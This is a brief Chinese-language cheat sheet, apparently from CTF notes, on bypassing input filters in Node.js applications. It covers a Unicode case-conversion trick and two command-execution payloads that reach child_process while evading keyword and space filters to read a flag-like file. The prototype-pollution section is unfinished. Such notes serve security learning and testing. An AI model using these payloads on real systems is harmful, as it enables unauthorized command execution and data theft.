node.js绕过

​

绕过

toUpperCase() / toLowerCase()

1. 特殊字符

   'ı'.toUpperCase()='I' / 'ı'.toLowerCase()='ı'

​

​

命令执行 (RCE)

1
2

Object.values(require('child_process'))[5]('cat${IFS}/G*>p')
require('child_process').spawnSync('nl',['p']).stdout.toString()

​

原型链污染

待补充

FROM:Lazzaro Author:Lazzaro